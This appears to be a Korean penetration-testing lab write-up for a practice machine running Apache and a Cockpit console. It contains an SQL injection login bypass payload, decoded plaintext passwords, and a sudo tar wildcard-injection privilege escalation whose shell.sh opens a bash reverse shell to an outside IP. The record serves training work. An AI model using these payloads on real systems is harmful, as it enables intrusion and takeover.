Machine IP :
192.168.159.10
초기 침투
[서비스] / [취약점] / [CVE 또는 기법] 요약
포트 스캔
# Nmap 7.95 scan initiated Sat Jun 27 23:32:43 2026 as: /usr/lib/nmap/nmap -Pn -p22,80,9090 -sC -sV -T4 -oA results/192.168.159.10/tcp_detail 192.168.159.10
Nmap scan report for 192.168.159.10
Host is up (0.093s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
| 256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
|_ 256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: blaze
9090/tcp open http Cockpit web service 198 - 220
|_http-title: Did not follow redirect to https://192.168.159.10:9090/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 27 23:33:20 2026 -- 1 IP address (1 host up) scanned in 37.06 seconds
9090 포트에서 Cockpit 웹 콘솔 동작함. Cockpit은 리눅스 서버를 웹 브라우저를 통해 직관적이고 쉽게 관리할 수 있도록 해주는 오픈 소스 그래픽 인터페이스(GUI)임
9090 포트 디렉터리 퍼징에서 의미있는 정보는 없었음

Cockpit 콘솔 대상으로 CVE가 있음, 모두 실패함 https://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE https://github.com/cockpit-project/cockpit/issues/15077
80 포트에서는 정적 페이지 사이트 존재함

80 포트에서 디렉터리 퍼징, login.php 발견

root' || '1'='1' -- - 페이로드 사용해 SQL 인젝션 성공

base64 디코딩, 평문 패스워드 확보
james Y2FudHRvdWNoaGh0aGlzc0A0NTUxNTI= : canttouchhhthiss@455152
cameron dGhpc3NjYW50dGJldG91Y2hlZGRANDU1MTUy : thisscanttbetouchedd@455152
ssh 로그인은 공개키가 있어야 해 실패함
┌──(root㉿kali)-[/home/kali/pg_oscp/cockpit]
└─# ssh cameron@192.168.159.10
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
cameron@192.168.159.10: Permission denied (publickey).
┌──(root㉿kali)-[/home/kali/pg_oscp/cockpit]
└─# ssh james@192.168.159.10
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
james@192.168.159.10: Permission denied (publickey).
Cockpit 콘솔에서 연결대상 지정해서 로그인하였으나 실패함

연결대상 제거해 로그인 성공 (james:canttouchhhthiss@455152)
터미널 메뉴 접속, local.txt 플래그 확보

권한 상승
[misconfiguration 또는 exploit] 요약
sudo -l 실행, tar 명령어로 파일 압축을 하는데 루트 권한으로 실행됨
그리고 와일드카드로 설정되어있어 tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh 기법 사용해 권한상승 시도
echo '' >> '--checkpoint=1' 파일 생성
echo '' >> '--checkpoint-action=exec=bash shell.sh' 파일 생성
echo '/bin/bash -i >& /dev/tcp/192.168.45.155/4444 0>&1' >> shell.sh 파일 생성

/tmp 경로에서 sudo /usr/bin/tar -czvf /tmp/backup.tar.gz * 명령어 실행
루트 권한 획득

막힌 포인트
[열거 누락? 기법 몰랐음? 방향 잘못?] 요약
- 웹 서비스가 80, 9090 2개의 포트에서 실행중이었음. 그럼 2개 모두 디렉터리 퍼징을 해야하는데 9090에서만 진행하고 래빗 홀에 빠져서 9090 포트에서 삽질함. 웹서비스가 있는 모든 포트에서 퍼징해서 하위 디렉토리를 열거해야 함!